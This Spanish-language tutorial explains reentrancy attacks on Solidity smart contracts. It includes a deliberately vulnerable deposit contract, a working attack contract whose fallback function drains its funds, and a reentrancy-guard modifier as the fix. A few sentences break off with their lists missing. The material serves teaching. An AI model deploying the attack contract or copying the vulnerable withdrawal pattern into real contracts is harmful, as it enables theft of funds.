El ataque de reentrada es uno de los ataques más destructivos en el contrato inteligente de Solidity. Un ataque de reingreso ocurre cuando una función realiza una llamada externa a otro contrato que no es de confianza. Luego, el contrato que no es de confianza realiza una llamada recursiva a la función original en un intento de drenar los fondos.
Cuando el contrato no actualiza su estado antes de enviar los fondos, el atacante puede llamar continuamente a la función de retiro para drenar los fondos del contrato. Un famoso ataque de reentrada en el mundo real es el ataque DAO que causó una pérdida de 60 millones de dólares estadounidenses.
Aunque el ataque de reentrada se considera bastante antiguo en los últimos dos años, ha habido casos como:
Un ataque de reentrada involucra dos contratos inteligentes. Un contrato vulnerable y un contrato de atacante no confiable.
El contrato inteligente vulnerable tiene 10 eth.
Un atacante almacena 1 eth usando la función de depósito.
Un atacante llama a la función de retiro y apunta a un contrato malicioso como destinatario.
Ahora la función de retiro verificará si se puede ejecutar:
¿Tiene el atacante 1 eth en su saldo? Sí, debido a su depósito.
Transferir 1 eth a un contrato malicioso. (Nota: el saldo del atacante NO se ha actualizado todavía)
La función de respaldo en las llamadas eth recibidas retira la función nuevamente.
Ahora la función de retiro verificará si se puede ejecutar:
A continuación se muestra el contrato, que contiene la vulnerabilidad de reingreso.
contract DepositFunds { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } }
La vulnerabilidad surge cuando enviamos al usuario la cantidad solicitada de éter. En este caso, el atacante llama a la función retirar(). Dado que su saldo aún no se ha establecido en 0, puede transferir las fichas aunque ya las haya recibido.
Ahora, consideremos un atacante malicioso creando el siguiente contrato.
contract Attack { DepositFunds public depositFunds; constructor(address _depositFundsAddress) { depositFunds = DepositFunds(_depositFundsAddress); } // Fallback is called when DepositFunds sends Ether to this contract. fallback() external payable { if (address(depositFunds).balance >= 1 ether) { depositFunds.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); depositFunds.deposit{value: 1 ether}(); depositFunds.withdraw(); } }
La función de ataque llama a la función de retiro en el contrato de la víctima. Cuando se recibe el token, la función de reserva vuelve a llamar a la función de retiro. Dado que se pasa la verificación, el contrato envía el token al atacante, lo que activa la función de respaldo.
Para evitar un ataque de reingreso en un contrato inteligente de Solidity, debe:
contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; } }
También publicado aquí